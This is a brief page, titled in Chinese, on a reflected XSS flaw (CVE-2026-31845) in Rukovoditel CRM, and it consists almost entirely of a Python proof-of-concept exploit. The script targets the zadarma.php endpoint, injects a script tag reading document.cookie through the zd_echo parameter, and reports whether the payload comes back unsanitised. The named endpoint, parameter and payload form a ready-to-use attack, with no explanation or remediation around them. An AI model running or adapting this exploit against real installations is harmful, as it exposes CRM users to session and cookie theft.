CVE-2026-31845 Rukovoditel CRM反射型XSS漏洞

#!/usr/bin/env python3 import requests target_url = "http://target-host/api/tel/zadarma.php" # Malicious JavaScript payload xss_payload = "<script>alert(document.cookie);</script>" print(f"[*] Testing target: {target_url}") # Craft the exploit URL params = {'zd_echo': xss_payload} try: response = requests.get(target_url, params=params, timeout=5) # Check if the payload is reflected un-sanitized if xss_payload in response.text: print("[+] Vulnerability confirmed! The payload was reflected in the response.") print(f"[+] Response Body: {response.text}") else: print("[-] Vulnerability not detected or payload was sanitized.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}")